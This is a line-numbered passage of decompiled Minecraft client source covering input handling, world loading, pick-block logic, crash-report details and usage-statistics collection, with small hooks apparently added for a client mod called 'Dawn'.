1904 var9 = Mouse.getEventButton();
1905 KeyBinding.setKeyBindState(var9 - 100, Mouse.getEventButtonState());
1906
1907 if (Mouse.getEventButtonState())
1908 {
1909 KeyBinding.onTick(var9 - 100);
1910 }
1911
1912 long var11 = getSystemTime() - this.systemTime;
1913
1914 if (var11 <= 200L)
1915 {
1916 int var4 = Mouse.getEventDWheel();
1917
1918 if (var4 != 0)
1919 {
1920 this.thePlayer.inventory.changeCurrentItem(var4);
1921
1922 if (this.gameSettings.noclip)
1923 {
1924 if (var4 > 0)
1925 {
1926 var4 = 1;
1927 }
1928
1929 if (var4 < 0)
1930 {
1931 var4 = -1;
1932 }
1933
1934 this.gameSettings.noclipRate += (float)var4 * 0.25F;
1935 }
1936 }
1937
1938 if (this.currentScreen == null)
1939 {
1940 if (!this.inGameHasFocus && Mouse.getEventButtonState())
1941 {
1942 this.setIngameFocus();
1943 }
1944 }
1945 else if (this.currentScreen != null)
1946 {
1947 this.currentScreen.handleMouseInput();
1948 }
1949 }
1950 }
1951
1952 if (this.leftClickCounter > 0)
1953 {
1954 --this.leftClickCounter;
1955 }
1956
1957 this.mcProfiler.endStartSection("keyboard");
1958 boolean var10;
1959
1960 while (Keyboard.next())
1961 {
1962 KeyBinding.setKeyBindState(Keyboard.getEventKey(), Keyboard.getEventKeyState());
1963
1964 if (Keyboard.getEventKeyState())
1965 {
1966 KeyBinding.onTick(Keyboard.getEventKey());
1967 }
1968
1969 if (this.field_83002_am > 0L)
1970 {
1971 if (getSystemTime() - this.field_83002_am >= 6000L)
1972 {
1973 throw new ReportedException(new CrashReport("Manually triggered debug crash", new Throwable()));
1974 }
1975
1976 if (!Keyboard.isKeyDown(46) || !Keyboard.isKeyDown(61))
1977 {
1978 this.field_83002_am = -1L;
1979 }
1980 }
1981 else if (Keyboard.isKeyDown(46) && Keyboard.isKeyDown(61))
1982 {
1983 this.field_83002_am = getSystemTime();
1984 }
1985
1986 this.func_152348_aa();
1987
1988 if (Keyboard.getEventKeyState())
1989 {
1990 if (Keyboard.getEventKey() == 62 && this.entityRenderer != null)
1991 {
1992 this.entityRenderer.deactivateShader();
1993 }
1994
1995 if (this.currentScreen != null)
1996 {
1997 this.currentScreen.handleKeyboardInput();
1998 }
1999 else
2000 {
2001
2002 Dawn.onKeyPressed(Keyboard.getEventKey());
2003 if (Keyboard.getEventKey() == 1)
2004 {
2005 this.displayInGameMenu();
2006 }
2007
2008 if (Keyboard.getEventKey() == 31 && Keyboard.isKeyDown(61))
2009 {
2010 this.refreshResources();
2011 }
2012
2013 if (Keyboard.getEventKey() == 20 && Keyboard.isKeyDown(61))
2014 {
2015 this.refreshResources();
2016 }
2017
2018 if (Keyboard.getEventKey() == 33 && Keyboard.isKeyDown(61))
2019 {
2020 var10 = Keyboard.isKeyDown(42) | Keyboard.isKeyDown(54);
2021 this.gameSettings.setOptionValue(GameSettings.Options.RENDER_DISTANCE, var10 ? -1 : 1);
2022 }
2023
2024 if (Keyboard.getEventKey() == 30 && Keyboard.isKeyDown(61))
2025 {
2026 this.renderGlobal.loadRenderers();
2027 }
2028
2029 if (Keyboard.getEventKey() == 35 && Keyboard.isKeyDown(61))
2030 {
2031 this.gameSettings.advancedItemTooltips = !this.gameSettings.advancedItemTooltips;
2032 this.gameSettings.saveOptions();
2033 }
2034
2035 if (Keyboard.getEventKey() == 48 && Keyboard.isKeyDown(61))
2036 {
2037 RenderManager.field_85095_o = !RenderManager.field_85095_o;
2038 }
2039
2040 if (Keyboard.getEventKey() == 25 && Keyboard.isKeyDown(61))
2041 {
2042 this.gameSettings.pauseOnLostFocus = !this.gameSettings.pauseOnLostFocus;
2043 this.gameSettings.saveOptions();
2044 }
2045
2046 if (Keyboard.getEventKey() == 59)
2047 {
2048 this.gameSettings.hideGUI = !this.gameSettings.hideGUI;
2049 }
2050
2051 if (Keyboard.getEventKey() == 61)
2052 {
2053 this.gameSettings.showDebugInfo = !this.gameSettings.showDebugInfo;
2054 this.gameSettings.showDebugProfilerChart = GuiScreen.isShiftKeyDown();
2055 }
2056
2057 if (this.gameSettings.keyBindTogglePerspective.isPressed())
2058 {
2059 ++this.gameSettings.thirdPersonView;
2060
2061 if (this.gameSettings.thirdPersonView > 2)
2062 {
2063 this.gameSettings.thirdPersonView = 0;
2064 }
2065 }
2066
2067 if (this.gameSettings.keyBindSmoothCamera.isPressed())
2068 {
2069 this.gameSettings.smoothCamera = !this.gameSettings.smoothCamera;
2070 }
2071 }
2072
2073 if (this.gameSettings.showDebugInfo && this.gameSettings.showDebugProfilerChart)
2074 {
2075 if (Keyboard.getEventKey() == 11)
2076 {
2077 this.updateDebugProfilerName(0);
2078 }
2079
2080 for (var9 = 0; var9 < 9; ++var9)
2081 {
2082 if (Keyboard.getEventKey() == 2 + var9)
2083 {
2084 this.updateDebugProfilerName(var9 + 1);
2085 }
2086 }
2087 }
2088 }
2089 }
2090
2091 for (var9 = 0; var9 < 9; ++var9)
2092 {
2093 if (this.gameSettings.keyBindsHotbar[var9].isPressed())
2094 {
2095 this.thePlayer.inventory.currentItem = var9;
2096 }
2097 }
2098
2099 var10 = this.gameSettings.chatVisibility != EntityPlayer.EnumChatVisibility.HIDDEN;
2100
2101 while (this.gameSettings.keyBindInventory.isPressed())
2102 {
2103 if (this.playerController.func_110738_j())
2104 {
2105 this.thePlayer.func_110322_i();
2106 }
2107 else
2108 {
2109 this.getNetHandler().addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));
2110 this.displayGuiScreen(new GuiInventory(this.thePlayer));
2111 }
2112 }
2113
2114 while (this.gameSettings.keyBindDrop.isPressed())
2115 {
2116 this.thePlayer.dropOneItem(GuiScreen.isCtrlKeyDown());
2117 }
2118
2119 while (this.gameSettings.keyBindChat.isPressed() && var10)
2120 {
2121 this.displayGuiScreen(new GuiChat());
2122 }
2123
2124 if (this.currentScreen == null && this.gameSettings.keyBindCommand.isPressed() && var10)
2125 {
2126 this.displayGuiScreen(new GuiChat("/"));
2127 }
2128
2129 if (this.thePlayer.isUsingItem())
2130 {
2131 if (!this.gameSettings.keyBindUseItem.getIsKeyPressed())
2132 {
2133 this.playerController.onStoppedUsingItem(this.thePlayer);
2134 }
2135
2136 label391:
2137
2138 while (true)
2139 {
2140 if (!this.gameSettings.keyBindAttack.isPressed())
2141 {
2142 while (this.gameSettings.keyBindUseItem.isPressed())
2143 {
2144 ;
2145 }
2146
2147 while (true)
2148 {
2149 if (this.gameSettings.keyBindPickBlock.isPressed())
2150 {
2151 continue;
2152 }
2153
2154 break label391;
2155 }
2156 }
2157 }
2158 }
2159 else
2160 {
2161 while (this.gameSettings.keyBindAttack.isPressed())
2162 {
2163 this.func_147116_af();
2164 Minecraft.getMinecraft().leftHeld = true;
2165 }
2166 Minecraft.getMinecraft().leftHeld = false;
2167 while (this.gameSettings.keyBindUseItem.isPressed())
2168 {
2169 this.func_147121_ag();
2170 Minecraft.getMinecraft().rightHeld = true;
2171 }
2172 Minecraft.getMinecraft().rightHeld = false;
2173 while (this.gameSettings.keyBindPickBlock.isPressed())
2174 {
2175 this.func_147112_ai();
2176 }
2177 }
2178
2179 if (this.gameSettings.keyBindUseItem.getIsKeyPressed() && this.rightClickDelayTimer == 0 && !this.thePlayer.isUsingItem())
2180 {
2181 this.func_147121_ag();
2182 }
2183
2184 this.func_147115_a(this.currentScreen == null && this.gameSettings.keyBindAttack.getIsKeyPressed() && this.inGameHasFocus);
2185 }
2186
2187 if (this.theWorld != null)
2188 {
2189 if (this.thePlayer != null)
2190 {
2191 ++this.joinPlayerCounter;
2192
2193 if (this.joinPlayerCounter == 30)
2194 {
2195 this.joinPlayerCounter = 0;
2196 this.theWorld.joinEntityInSurroundings(this.thePlayer);
2197 }
2198 }
2199
2200 this.mcProfiler.endStartSection("gameRenderer");
2201
2202 if (!this.isGamePaused)
2203 {
2204 this.entityRenderer.updateRenderer();
2205 }
2206
2207 this.mcProfiler.endStartSection("levelRenderer");
2208
2209 if (!this.isGamePaused)
2210 {
2211 this.renderGlobal.updateClouds();
2212 }
2213
2214 this.mcProfiler.endStartSection("level");
2215
2216 if (!this.isGamePaused)
2217 {
2218 if (this.theWorld.lastLightningBolt > 0)
2219 {
2220 --this.theWorld.lastLightningBolt;
2221 }
2222
2223 this.theWorld.updateEntities();
2224 }
2225 }
2226
2227 if (!this.isGamePaused)
2228 {
2229 this.mcMusicTicker.update();
2230 this.mcSoundHandler.update();
2231 }
2232
2233 if (this.theWorld != null)
2234 {
2235 if (!this.isGamePaused)
2236 {
2237 this.theWorld.setAllowedSpawnTypes(this.theWorld.difficultySetting != EnumDifficulty.PEACEFUL, true);
2238
2239 try
2240 {
2241 this.theWorld.tick();
2242 }
2243 catch (Throwable var7)
2244 {
2245 var2 = CrashReport.makeCrashReport(var7, "Exception in world tick");
2246
2247 if (this.theWorld == null)
2248 {
2249 var3 = var2.makeCategory("Affected level");
2250 var3.addCrashSection("Problem", "Level is null!");
2251 }
2252 else
2253 {
2254 this.theWorld.addWorldInfoToCrashReport(var2);
2255 }
2256
2257 throw new ReportedException(var2);
2258 }
2259 }
2260
2261 this.mcProfiler.endStartSection("animateTick");
2262
2263 if (!this.isGamePaused && this.theWorld != null)
2264 {
2265 this.theWorld.doVoidFogParticles(MathHelper.floor_double(this.thePlayer.posX), MathHelper.floor_double(this.thePlayer.posY), MathHelper.floor_double(this.thePlayer.posZ));
2266 }
2267
2268 this.mcProfiler.endStartSection("particles");
2269
2270 if (!this.isGamePaused)
2271 {
2272 this.effectRenderer.updateEffects();
2273 }
2274 }
2275 else if (this.myNetworkManager != null)
2276 {
2277 this.mcProfiler.endStartSection("pendingConnection");
2278 this.myNetworkManager.processReceivedPackets();
2279 }
2280
2281 this.mcProfiler.endSection();
2282 this.systemTime = getSystemTime();
2283 }
2284
2285 /**
2286 * Arguments: World foldername, World ingame name, WorldSettings
2287 */
2288 public void launchIntegratedServer(String p_71371_1_, String p_71371_2_, WorldSettings p_71371_3_)
2289 {
2290 this.loadWorld((WorldClient)null);
2291 System.gc();
2292 ISaveHandler var4 = this.saveLoader.getSaveLoader(p_71371_1_, false);
2293 WorldInfo var5 = var4.loadWorldInfo();
2294
2295 if (var5 == null && p_71371_3_ != null)
2296 {
2297 var5 = new WorldInfo(p_71371_3_, p_71371_1_);
2298 var4.saveWorldInfo(var5);
2299 }
2300
2301 if (p_71371_3_ == null)
2302 {
2303 p_71371_3_ = new WorldSettings(var5);
2304 }
2305
2306 try
2307 {
2308 this.theIntegratedServer = new IntegratedServer(this, p_71371_1_, p_71371_2_, p_71371_3_);
2309 this.theIntegratedServer.startServerThread();
2310 this.integratedServerIsRunning = true;
2311 }
2312 catch (Throwable var10)
2313 {
2314 CrashReport var7 = CrashReport.makeCrashReport(var10, "Starting integrated server");
2315 CrashReportCategory var8 = var7.makeCategory("Starting integrated server");
2316 var8.addCrashSection("Level ID", p_71371_1_);
2317 var8.addCrashSection("Level Name", p_71371_2_);
2318 throw new ReportedException(var7);
2319 }
2320
2321 this.loadingScreen.displayProgressMessage(I18n.format("menu.loadingLevel", new Object[0]));
2322
2323 while (!this.theIntegratedServer.serverIsInRunLoop())
2324 {
2325 String var6 = this.theIntegratedServer.getUserMessage();
2326
2327 if (var6 != null)
2328 {
2329 this.loadingScreen.resetProgresAndWorkingMessage(I18n.format(var6, new Object[0]));
2330 }
2331 else
2332 {
2333 this.loadingScreen.resetProgresAndWorkingMessage("");
2334 }
2335
2336 try
2337 {
2338 Thread.sleep(200L);
2339 }
2340 catch (InterruptedException var9)
2341 {
2342 ;
2343 }
2344 }
2345
2346 this.displayGuiScreen((GuiScreen)null);
2347 SocketAddress var11 = this.theIntegratedServer.func_147137_ag().addLocalEndpoint();
2348 NetworkManager var12 = NetworkManager.provideLocalClient(var11);
2349 var12.setNetHandler(new NetHandlerLoginClient(var12, this, (GuiScreen)null));
2350 var12.scheduleOutboundPacket(new C00Handshake(5, var11.toString(), 0, EnumConnectionState.LOGIN), new GenericFutureListener[0]);
2351 var12.scheduleOutboundPacket(new C00PacketLoginStart(this.getSession().func_148256_e()), new GenericFutureListener[0]);
2352 this.myNetworkManager = var12;
2353 }
2354
2355 /**
2356 * unloads the current world first
2357 */
2358 public void loadWorld(WorldClient p_71403_1_)
2359 {
2360 this.loadWorld(p_71403_1_, "");
2361 }
2362
2363 /**
2364 * par2Str is displayed on the loading screen to the user unloads the current world first
2365 */
2366 public void loadWorld(WorldClient p_71353_1_, String p_71353_2_)
2367 {
2368 if (p_71353_1_ == null)
2369 {
2370 NetHandlerPlayClient var3 = this.getNetHandler();
2371
2372 if (var3 != null)
2373 {
2374 var3.cleanup();
2375 }
2376
2377 if (this.theIntegratedServer != null)
2378 {
2379 this.theIntegratedServer.initiateShutdown();
2380 }
2381
2382 this.theIntegratedServer = null;
2383 this.guiAchievement.func_146257_b();
2384 this.entityRenderer.getMapItemRenderer().func_148249_a();
2385 }
2386
2387 this.renderViewEntity = null;
2388 this.myNetworkManager = null;
2389
2390 if (this.loadingScreen != null)
2391 {
2392 this.loadingScreen.resetProgressAndMessage(p_71353_2_);
2393 this.loadingScreen.resetProgresAndWorkingMessage("");
2394 }
2395
2396 if (p_71353_1_ == null && this.theWorld != null)
2397 {
2398 if (this.mcResourcePackRepository.func_148530_e() != null)
2399 {
2400 this.scheduleResourcesRefresh();
2401 }
2402
2403 this.mcResourcePackRepository.func_148529_f();
2404 this.setServerData((ServerData)null);
2405 this.integratedServerIsRunning = false;
2406 }
2407
2408 this.mcSoundHandler.func_147690_c();
2409 this.theWorld = p_71353_1_;
2410
2411 if (p_71353_1_ != null)
2412 {
2413 if (this.renderGlobal != null)
2414 {
2415 this.renderGlobal.setWorldAndLoadRenderers(p_71353_1_);
2416 }
2417
2418 if (this.effectRenderer != null)
2419 {
2420 this.effectRenderer.clearEffects(p_71353_1_);
2421 }
2422
2423 if (this.thePlayer == null)
2424 {
2425 this.thePlayer = this.playerController.func_147493_a(p_71353_1_, new StatFileWriter());
2426 this.playerController.flipPlayer(this.thePlayer);
2427 }
2428
2429 this.thePlayer.preparePlayerToSpawn();
2430 p_71353_1_.spawnEntityInWorld(this.thePlayer);
2431 this.thePlayer.movementInput = new MovementInputFromOptions(this.gameSettings);
2432 this.playerController.setPlayerCapabilities(this.thePlayer);
2433 this.renderViewEntity = this.thePlayer;
2434 }
2435 else
2436 {
2437 this.saveLoader.flushCache();
2438 this.thePlayer = null;
2439 }
2440
2441 System.gc();
2442 this.systemTime = 0L;
2443 }
2444
2445 /**
2446 * A String of renderGlobal.getDebugInfoRenders
2447 */
2448 public String debugInfoRenders()
2449 {
2450 return this.renderGlobal.getDebugInfoRenders();
2451 }
2452
2453 /**
2454 * Gets the information in the F3 menu about how many entities are infront/around you
2455 */
2456 public String getEntityDebug()
2457 {
2458 return this.renderGlobal.getDebugInfoEntities();
2459 }
2460
2461 /**
2462 * Gets the name of the world's current chunk provider
2463 */
2464 public String getWorldProviderName()
2465 {
2466 return this.theWorld.getProviderName();
2467 }
2468
2469 /**
2470 * A String of how many entities are in the world
2471 */
2472 public String debugInfoEntities()
2473 {
2474 return "P: " + this.effectRenderer.getStatistics() + ". T: " + this.theWorld.getDebugLoadedEntities();
2475 }
2476
2477 public void setDimensionAndSpawnPlayer(int p_71354_1_)
2478 {
2479 this.theWorld.setSpawnLocation();
2480 this.theWorld.removeAllEntities();
2481 int var2 = 0;
2482 String var3 = null;
2483
2484 if (this.thePlayer != null)
2485 {
2486 var2 = this.thePlayer.getEntityId();
2487 this.theWorld.removeEntity(this.thePlayer);
2488 var3 = this.thePlayer.func_142021_k();
2489 }
2490
2491 this.renderViewEntity = null;
2492 this.thePlayer = this.playerController.func_147493_a(this.theWorld, this.thePlayer == null ? new StatFileWriter() : this.thePlayer.func_146107_m());
2493 this.thePlayer.dimension = p_71354_1_;
2494 this.renderViewEntity = this.thePlayer;
2495 this.thePlayer.preparePlayerToSpawn();
2496 this.thePlayer.func_142020_c(var3);
2497 this.theWorld.spawnEntityInWorld(this.thePlayer);
2498 this.playerController.flipPlayer(this.thePlayer);
2499 this.thePlayer.movementInput = new MovementInputFromOptions(this.gameSettings);
2500 this.thePlayer.setEntityId(var2);
2501 this.playerController.setPlayerCapabilities(this.thePlayer);
2502
2503 if (this.currentScreen instanceof GuiGameOver)
2504 {
2505 this.displayGuiScreen((GuiScreen)null);
2506 }
2507 }
2508
2509 /**
2510 * Gets whether this is a demo or not.
2511 */
2512 public final boolean isDemo()
2513 {
2514 return this.isDemo;
2515 }
2516
2517 public NetHandlerPlayClient getNetHandler()
2518 {
2519 return this.thePlayer != null ? this.thePlayer.sendQueue : null;
2520 }
2521
2522 public static boolean isGuiEnabled()
2523 {
2524 return theMinecraft == null || !theMinecraft.gameSettings.hideGUI;
2525 }
2526
2527 public static boolean isFancyGraphicsEnabled()
2528 {
2529 return theMinecraft != null && theMinecraft.gameSettings.fancyGraphics;
2530 }
2531
2532 /**
2533 * Returns if ambient occlusion is enabled
2534 */
2535 public static boolean isAmbientOcclusionEnabled()
2536 {
2537 return theMinecraft != null && theMinecraft.gameSettings.ambientOcclusion != 0;
2538 }
2539
2540 private void func_147112_ai()
2541 {
2542 if (this.objectMouseOver != null)
2543 {
2544 boolean var1 = this.thePlayer.capabilities.isCreativeMode;
2545 int var3 = 0;
2546 boolean var4 = false;
2547 Item var2;
2548 int var5;
2549
2550 if (this.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK)
2551 {
2552 var5 = this.objectMouseOver.blockX;
2553 int var6 = this.objectMouseOver.blockY;
2554 int var7 = this.objectMouseOver.blockZ;
2555 Block var8 = this.theWorld.getBlock(var5, var6, var7);
2556
2557 if (var8.getMaterial() == Material.air)
2558 {
2559 return;
2560 }
2561
2562 var2 = var8.getItem(this.theWorld, var5, var6, var7);
2563
2564 if (var2 == null)
2565 {
2566 return;
2567 }
2568
2569 var4 = var2.getHasSubtypes();
2570 Block var9 = var2 instanceof ItemBlock && !var8.isFlowerPot() ? Block.getBlockFromItem(var2) : var8;
2571 var3 = var9.getDamageValue(this.theWorld, var5, var6, var7);
2572 }
2573 else
2574 {
2575 if (this.objectMouseOver.typeOfHit != MovingObjectPosition.MovingObjectType.ENTITY || this.objectMouseOver.entityHit == null || !var1)
2576 {
2577 return;
2578 }
2579
2580 if (this.objectMouseOver.entityHit instanceof EntityPainting)
2581 {
2582 var2 = Items.painting;
2583 }
2584 else if (this.objectMouseOver.entityHit instanceof EntityLeashKnot)
2585 {
2586 var2 = Items.lead;
2587 }
2588 else if (this.objectMouseOver.entityHit instanceof EntityItemFrame)
2589 {
2590 EntityItemFrame var10 = (EntityItemFrame)this.objectMouseOver.entityHit;
2591 ItemStack var12 = var10.getDisplayedItem();
2592
2593 if (var12 == null)
2594 {
2595 var2 = Items.item_frame;
2596 }
2597 else
2598 {
2599 var2 = var12.getItem();
2600 var3 = var12.getItemDamage();
2601 var4 = true;
2602 }
2603 }
2604 else if (this.objectMouseOver.entityHit instanceof EntityMinecart)
2605 {
2606 EntityMinecart var11 = (EntityMinecart)this.objectMouseOver.entityHit;
2607
2608 if (var11.getMinecartType() == 2)
2609 {
2610 var2 = Items.furnace_minecart;
2611 }
2612 else if (var11.getMinecartType() == 1)
2613 {
2614 var2 = Items.chest_minecart;
2615 }
2616 else if (var11.getMinecartType() == 3)
2617 {
2618 var2 = Items.tnt_minecart;
2619 }
2620 else if (var11.getMinecartType() == 5)
2621 {
2622 var2 = Items.hopper_minecart;
2623 }
2624 else if (var11.getMinecartType() == 6)
2625 {
2626 var2 = Items.command_block_minecart;
2627 }
2628 else
2629 {
2630 var2 = Items.minecart;
2631 }
2632 }
2633 else if (this.objectMouseOver.entityHit instanceof EntityBoat)
2634 {
2635 var2 = Items.boat;
2636 }
2637 else
2638 {
2639 var2 = Items.spawn_egg;
2640 var3 = EntityList.getEntityID(this.objectMouseOver.entityHit);
2641 var4 = true;
2642
2643 if (var3 <= 0 || !EntityList.entityEggs.containsKey(Integer.valueOf(var3)))
2644 {
2645 return;
2646 }
2647 }
2648 }
2649
2650 this.thePlayer.inventory.func_146030_a(var2, var3, var4, var1);
2651
2652 if (var1)
2653 {
2654 var5 = this.thePlayer.inventoryContainer.inventorySlots.size() - 9 + this.thePlayer.inventory.currentItem;
2655 this.playerController.sendSlotPacket(this.thePlayer.inventory.getStackInSlot(this.thePlayer.inventory.currentItem), var5);
2656 }
2657 }
2658 }
2659
2660 /**
2661 * adds core server Info (GL version , Texture pack, isModded, type), and the worldInfo to the crash report
2662 */
2663 public CrashReport addGraphicsAndWorldToCrashReport(CrashReport p_71396_1_)
2664 {
2665 p_71396_1_.getCategory().addCrashSectionCallable("Launched Version", new Callable()
2666 {
2667 private static final String __OBFID = "CL_00000643";
2668 public String call()
2669 {
2670 return Minecraft.this.launchedVersion;
2671 }
2672 });
2673 p_71396_1_.getCategory().addCrashSectionCallable("LWJGL", new Callable()
2674 {
2675 private static final String __OBFID = "CL_00000644";
2676 public String call()
2677 {
2678 return Sys.getVersion();
2679 }
2680 });
2681 p_71396_1_.getCategory().addCrashSectionCallable("OpenGL", new Callable()
2682 {
2683 private static final String __OBFID = "CL_00000645";
2684 public String call()
2685 {
2686 return GL11.glGetString(GL11.GL_RENDERER) + " GL version " + GL11.glGetString(GL11.GL_VERSION) + ", " + GL11.glGetString(GL11.GL_VENDOR);
2687 }
2688 });
2689 p_71396_1_.getCategory().addCrashSectionCallable("GL Caps", new Callable()
2690 {
2691 private static final String __OBFID = "CL_00000646";
2692 public String call()
2693 {
2694 return OpenGlHelper.func_153172_c();
2695 }
2696 });
2697 p_71396_1_.getCategory().addCrashSectionCallable("Is Modded", new Callable()
2698 {
2699 private static final String __OBFID = "CL_00000647";
2700 public String call()
2701 {
2702 String var1 = ClientBrandRetriever.getClientModName();
2703 return !var1.equals("vanilla") ? "Definitely; Client brand changed to \'" + var1 + "\'" : (Minecraft.class.getSigners() == null ? "Very likely; Jar signature invalidated" : "Probably not. Jar signature remains and client brand is untouched.");
2704 }
2705 });
2706 p_71396_1_.getCategory().addCrashSectionCallable("Type", new Callable()
2707 {
2708 private static final String __OBFID = "CL_00000633";
2709 public String call()
2710 {
2711 return "Client (map_client.txt)";
2712 }
2713 });
2714 p_71396_1_.getCategory().addCrashSectionCallable("Resource Packs", new Callable()
2715 {
2716 private static final String __OBFID = "CL_00000634";
2717 public String call()
2718 {
2719 return Minecraft.this.gameSettings.resourcePacks.toString();
2720 }
2721 });
2722 p_71396_1_.getCategory().addCrashSectionCallable("Current Language", new Callable()
2723 {
2724 private static final String __OBFID = "CL_00000635";
2725 public String call()
2726 {
2727 return Minecraft.this.mcLanguageManager.getCurrentLanguage().toString();
2728 }
2729 });
2730 p_71396_1_.getCategory().addCrashSectionCallable("Profiler Position", new Callable()
2731 {
2732 private static final String __OBFID = "CL_00000636";
2733 public String call()
2734 {
2735 return Minecraft.this.mcProfiler.profilingEnabled ? Minecraft.this.mcProfiler.getNameOfLastSection() : "N/A (disabled)";
2736 }
2737 });
2738 p_71396_1_.getCategory().addCrashSectionCallable("Vec3 Pool Size", new Callable()
2739 {
2740 private static final String __OBFID = "CL_00000637";
2741 public String call()
2742 {
2743 byte var1 = 0;
2744 int var2 = 56 * var1;
2745 int var3 = var2 / 1024 / 1024;
2746 byte var4 = 0;
2747 int var5 = 56 * var4;
2748 int var6 = var5 / 1024 / 1024;
2749 return var1 + " (" + var2 + " bytes; " + var3 + " MB) allocated, " + var4 + " (" + var5 + " bytes; " + var6 + " MB) used";
2750 }
2751 });
2752 p_71396_1_.getCategory().addCrashSectionCallable("Anisotropic Filtering", new Callable()
2753 {
2754 private static final String __OBFID = "CL_00001853";
2755 public String func_152388_a()
2756 {
2757 return Minecraft.this.gameSettings.anisotropicFiltering == 1 ? "Off (1)" : "On (" + Minecraft.this.gameSettings.anisotropicFiltering + ")";
2758 }
2759 public Object call()
2760 {
2761 return this.func_152388_a();
2762 }
2763 });
2764
2765 if (this.theWorld != null)
2766 {
2767 this.theWorld.addWorldInfoToCrashReport(p_71396_1_);
2768 }
2769
2770 return p_71396_1_;
2771 }
2772 /**d
2773 * Return the singleton Minecraft instance for the game
2774 */
2775 public static Minecraft getMinecraft()
2776 {
2777 return theMinecraft;
2778 }
2779
2780 public void scheduleResourcesRefresh()
2781 {
2782 this.refreshTexturePacksScheduled = true;
2783 }
2784
2785 public void addServerStatsToSnooper(PlayerUsageSnooper p_70000_1_)
2786 {
2787 p_70000_1_.func_152768_a("fps", Integer.valueOf(debugFPS));
2788 p_70000_1_.func_152768_a("vsync_enabled", Boolean.valueOf(this.gameSettings.enableVsync));
2789 p_70000_1_.func_152768_a("display_frequency", Integer.valueOf(Display.getDisplayMode().getFrequency()));
2790 p_70000_1_.func_152768_a("display_type", this.fullscreen ? "fullscreen" : "windowed");
2791 p_70000_1_.func_152768_a("run_time", Long.valueOf((MinecraftServer.getSystemTimeMillis() - p_70000_1_.getMinecraftStartTimeMillis()) / 60L * 1000L));
2792 p_70000_1_.func_152768_a("resource_packs", Integer.valueOf(this.mcResourcePackRepository.getRepositoryEntries().size()));
2793 int var2 = 0;
2794 Iterator var3 = this.mcResourcePackRepository.getRepositoryEntries().iterator();
2795
2796 while (var3.hasNext())
2797 {
2798 ResourcePackRepository.Entry var4 = (ResourcePackRepository.Entry)var3.next();
2799 p_70000_1_.func_152768_a("resource_pack[" + var2++ + "]", var4.getResourcePackName());
2800 }
2801
2802 if (this.theIntegratedServer != null && this.theIntegratedServer.getPlayerUsageSnooper() != null)
2803 {
2804 p_70000_1_.func_152768_a("snooper_partner", this.theIntegratedServer.getPlayerUsageSnooper().getUniqueID());
2805 }
2806 }
2807
2808 public void addServerTypeToSnooper(PlayerUsageSnooper p_70001_1_)
2809 {
2810 p_70001_1_.func_152767_b("opengl_version", GL11.glGetString(GL11.GL_VERSION));
2811 p_70001_1_.func_152767_b("opengl_vendor", GL11.glGetString(GL11.GL_VENDOR));
2812 p_70001_1_.func_152767_b("client_brand", ClientBrandRetriever.getClientModName());
2813 p_70001_1_.func_152767_b("launched_version", this.launchedVersion);
2814 ContextCapabilities var2 = GLContext.getCapabilities();
2815 p_70001_1_.func_152767_b("gl_caps[ARB_arrays_of_arrays]", Boolean.valueOf(var2.GL_ARB_arrays_of_arrays));
2816 p_70001_1_.func_152767_b("gl_caps[ARB_base_instance]", Boolean.valueOf(var2.GL_ARB_base_instance));
2817 p_70001_1_.func_152767_b("gl_caps[ARB_blend_func_extended]", Boolean.valueOf(var2.GL_ARB_blend_func_extended));
2818 p_70001_1_.func_152767_b("gl_caps[ARB_clear_buffer_object]", Boolean.valueOf(var2.GL_ARB_clear_buffer_object));
2819 p_70001_1_.func_152767_b("gl_caps[ARB_color_buffer_float]", Boolean.valueOf(var2.GL_ARB_color_buffer_float));
2820 p_70001_1_.func_152767_b("gl_caps[ARB_compatibility]", Boolean.valueOf(var2.GL_ARB_compatibility));
2821 p_70001_1_.func_152767_b("gl_caps[ARB_compressed_texture_pixel_storage]", Boolean.valueOf(var2.GL_ARB_compressed_texture_pixel_storage));
2822 p_70001_1_.func_152767_b("gl_caps[ARB_compute_shader]", Boolean.valueOf(var2.GL_ARB_compute_shader));
2823 p_70001_1_.func_152767_b("gl_caps[ARB_copy_buffer]", Boolean.valueOf(var2.GL_ARB_copy_buffer));
2824 p_70001_1_.func_152767_b("gl_caps[ARB_copy_image]", Boolean.valueOf(var2.GL_ARB_copy_image));
2825 p_70001_1_.func_152767_b("gl_caps[ARB_depth_buffer_float]", Boolean.valueOf(var2.GL_ARB_depth_buffer_float));
2826 p_70001_1_.func_152767_b("gl_caps[ARB_compute_shader]", Boolean.valueOf(var2.GL_ARB_compute_shader));
2827 p_70001_1_.func_152767_b("gl_caps[ARB_copy_buffer]", Boolean.valueOf(var2.GL_ARB_copy_buffer));
2828 p_70001_1_.func_152767_b("gl_caps[ARB_copy_image]", Boolean.valueOf(var2.GL_ARB_copy_image));
2829 p_70001_1_.func_152767_b("gl_caps[ARB_depth_buffer_float]", Boolean.valueOf(var2.GL_ARB_depth_buffer_float));
2830 p_70001_1_.func_152767_b("gl_caps[ARB_depth_clamp]", Boolean.valueOf(var2.GL_ARB_depth_clamp));
2831 p_70001_1_.func_152767_b("gl_caps[ARB_depth_texture]", Boolean.valueOf(var2.GL_ARB_depth_texture));
2832 p_70001_1_.func_152767_b("gl_caps[ARB_draw_buffers]", Boolean.valueOf(var2.GL_ARB_draw_buffers));
2833 p_70001_1_.func_152767_b("gl_caps[ARB_draw_buffers_blend]", Boolean.valueOf(var2.GL_ARB_draw_buffers_blend));
2834 p_70001_1_.func_152767_b("gl_caps[ARB_draw_elements_base_vertex]", Boolean.valueOf(var2.GL_ARB_draw_elements_base_vertex));
2835 p_70001_1_.func_152767_b("gl_caps[ARB_draw_indirect]", Boolean.valueOf(var2.GL_ARB_draw_indirect));
2836 p_70001_1_.func_152767_b("gl_caps[ARB_draw_instanced]", Boolean.valueOf(var2.GL_ARB_draw_instanced));
2837 p_70001_1_.func_152767_b("gl_caps[ARB_explicit_attrib_location]", Boolean.valueOf(var2.GL_ARB_explicit_attrib_location));
2838 p_70001_1_.func_152767_b("gl_caps[ARB_explicit_uniform_location]", Boolean.valueOf(var2.GL_ARB_explicit_uniform_location));
2839 p_70001_1_.func_152767_b("gl_caps[ARB_fragment_layer_viewport]", Boolean.valueOf(var2.GL_ARB_fragment_layer_viewport));
2840 p_70001_1_.func_152767_b("gl_caps[ARB_fragment_program]", Boolean.valueOf(var2.GL_ARB_fragment_program));
